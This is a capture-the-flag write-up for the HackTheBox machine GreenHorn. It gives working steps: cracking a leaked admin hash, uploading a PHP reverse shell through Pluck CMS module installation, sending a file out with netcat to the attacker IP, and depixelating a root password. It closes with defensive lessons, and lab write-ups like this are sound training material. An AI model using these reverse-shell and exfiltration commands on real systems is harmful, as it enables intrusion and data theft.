GreenHorn - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐☆☆
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

GreenHorn is an easy difficulty machine that demonstrates the dangers of exposed configurations and pixelated credentials. The attack chain leverages a Remote Code Execution vulnerability in Pluck CMS (version 4.7.18) to gain initial access as www-data. The admin password is discovered in a public Gitea repository and cracked using John the Ripper. Lateral movement is achieved through password reuse to the junior user, and privilege escalation is accomplished by depixelating credentials found in a PDF file to discover the root password.

TL;DR: Enumerate Gitea → Find admin password hash in config → Crack with John → RCE via Pluck module upload → Lateral move to junior via password reuse → Extract pixelated password from PDF → Depixelate to get root password → Root shell.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.11.25

Results:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 17:43 EEST
Nmap scan report for 10.10.11.25
Host is up (0.060s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT       STATE SERVICE VERSION
22/tcp     open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp     open  http    nginx 1.18.0 (Ubuntu)
3000/tcp   open  ppp?    (Gitea)

Nmap done: 1 address (1 host up) scanned in 10.75 seconds

Three key services are identified:

• Port 22: OpenSSH for remote access
• Port 80: nginx web server (redirects to greenhorn.htb)
• Port 3000: Gitea repository hosting

Service Enumeration

HTTP (Port 80):

First, add the hostname to /etc/hosts:

echo "10.10.11.25 greenhorn.htb" | sudo tee -a /etc/hosts

Visiting http://greenhorn.htb reveals a website powered by Pluck CMS version 4.7.18. An admin login page is found at the bottom of the landing page. The version number is critical for identifying applicable exploits.

Gitea (Port 3000):

Navigating to http://10.10.11.25:3000 and clicking Explore reveals a repository named GreenHorn containing the website’s configuration files.

Examining login.php in the repository reveals:

• Password hash is stored in data/settings/pass.php
• Hash algorithm: SHA512

Navigating to the file path, the admin password hash is recovered:

d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163

Vulnerability Assessment

Identified vulnerabilities:

1. Exposed Configuration in Gitea - Admin password hash publicly accessible in repository
2. Pluck CMS RCE (CVE) - Version 4.7.18 allows Remote Code Execution via module upload functionality
3. Weak Password - SHA512 hash cracks quickly with common wordlists
4. Password Reuse - Admin credentials likely reused across accounts
5. Pixelated Credentials in PDF - Credentials can be depixelated using specialized tools

Initial Foothold

Exploitation Path

Step 1: Crack the Admin Password

Save the hash to a file and use John the Ripper:

echo "d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163" > hash.txt

john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA512 hash.txt

Output:

iloveyou1          (?)
1g 0:00:00:00 DONE (2024-07-30 12:47) 50.00g/s 6553Kp/s 6553Kc/s 6553KC/s

Admin password: iloveyou1

Step 2: Login to Pluck Admin Panel

Navigate to the admin login page and authenticate with:

• Username: admin
• Password: iloveyou1

Step 3: Upload Reverse Shell via Module Installation

Pluck 4.7.18 has an RCE vulnerability in the module installation function. We exploit this by uploading a PHP reverse shell.

Download the PHP reverse shell from pentestmonkey and customize it:

# Download pentestmonkey reverse shell
wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell.php -O shell.php

Edit shell.php and modify these lines:

$ip = '10.10.16.2';      // YOUR IP ADDRESS
$port = 1234;             // YOUR LISTENING PORT

Pluck rejects direct .php upload, so we compress the shell:

zip shell.zip shell.php

Navigate to Options → Manage Modules → Install a Module and upload shell.zip.

Step 4: Trigger the Reverse Shell

Set up a Netcat listener:

nc -lvnp 1234

Trigger the shell by navigating to:

http://greenhorn.htb/data/modules/shell/shell.php

Step 5: Stabilize the Shell

The listener receives a connection:

listening on [any] 1234 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.25] 41086

Stabilize the shell using script:

script /dev/null -c /bin/bash

Verify access:

id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Lateral Movement to junior User

Enumerate the system and discover a user junior in /home:

ls -la /home
# drwxr-xr-x       3 junior junior 4096 Jun 20 06:36 junior

Attempt password reuse with the cracked admin password:

su junior
# Password: iloveyou1

Success! We now have a session as junior.

Retrieve the user flag:

cat /home/junior/user.txt

Root Privilege Escalation via Depixelation

Step 1: Discover the PDF

Listing junior’s home directory reveals a PDF file:

ls -la /home/junior
# -rw-r----- 1 root junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'

Step 2: Transfer the PDF

Transfer the PDF to your local machine using Netcat. On your machine:

nc -lvnp 5555 > 'Using OpenVAS.pdf'

On the target (junior’s shell):

cat 'Using OpenVAS.pdf' | nc 10.10.16.2 5555

Step 3: Extract and Depixelate Credentials

The PDF contains pixelated root credentials. Extract the pixelated image by right-clicking and saving as image.png.

Clone and use the Depix tool to recover pixelated credentials:

git clone https://github.com/spipm/Depix.git
cd Depix

python3 depix.py -p /path/to/image.png \
  -s ./images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png \
  -o output.png

The depixelated credentials reveal: sidefromsidetheothersidesidefromsidetheotherside

Step 4: Switch to Root

Use the recovered password to escalate privileges:

su root
# Password: sidefromsidetheothersidesidefromsidetheotherside

Success! Retrieve the root flag:

cat /root/root.txt

Attack Chain Summary

Enumerate Gitea Repository
         ↓
Find Admin Password Hash in Config Files
         ↓
Crack SHA512 Hash with John the Ripper (iloveyou1)
         ↓
Login to Pluck Admin Panel
         ↓
Upload PHP Reverse Shell via Module Installation RCE
         ↓
Trigger Shell & Gain www-data Access
         ↓
Discover junior User & Lateral Move via Password Reuse
         ↓
Find Using OpenVAS.pdf with Pixelated Root Password
         ↓
Transfer PDF & Extract Pixelated Image
         ↓
Depixelate Credentials using Depix Tool
         ↓
Switch to Root User
         ↓
Root Access Achieved

Tools Used

Key Learnings

Techniques Practiced

• Public Repository Enumeration - Discovering sensitive information in exposed Git repositories
• Hash Cracking - Using John the Ripper with wordlists for password recovery
• Remote Code Execution - Exploiting CMS vulnerabilities via file upload mechanisms
• Reverse Shell Stabilization - Using script to create functional TTY shells
• Credential Depixelation - Recovering pixelated text from images using machine learning tools
• Password Reuse Exploitation - Lateral movement through shared credentials across systems
• File Transfer Techniques - Using Netcat for secure file exfiltration

Lessons Learned

1. Never expose configuration files in public repositories - The Gitea repository contained unencrypted password hashes that should have been excluded from version control via .gitignore.

2. Passwords must be truly unreadable - Pixelation is a weak obfuscation technique; modern depixelization tools can easily recover credentials with high accuracy.

3. Password reuse is a critical vulnerability - Using the same password across administrative and user accounts provides a direct lateral movement path.

4. Pluck CMS requires version updates - Version 4.7.18 has known RCE vulnerabilities that are trivial to exploit. Systems must be kept current.

5. File permissions matter - PDFs containing sensitive information should have restrictive access controls to limit exposure to unprivileged users.

6. Defense in depth is essential - A single misconfiguration (exposed repository) led to complete system compromise. Multiple security layers are necessary.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>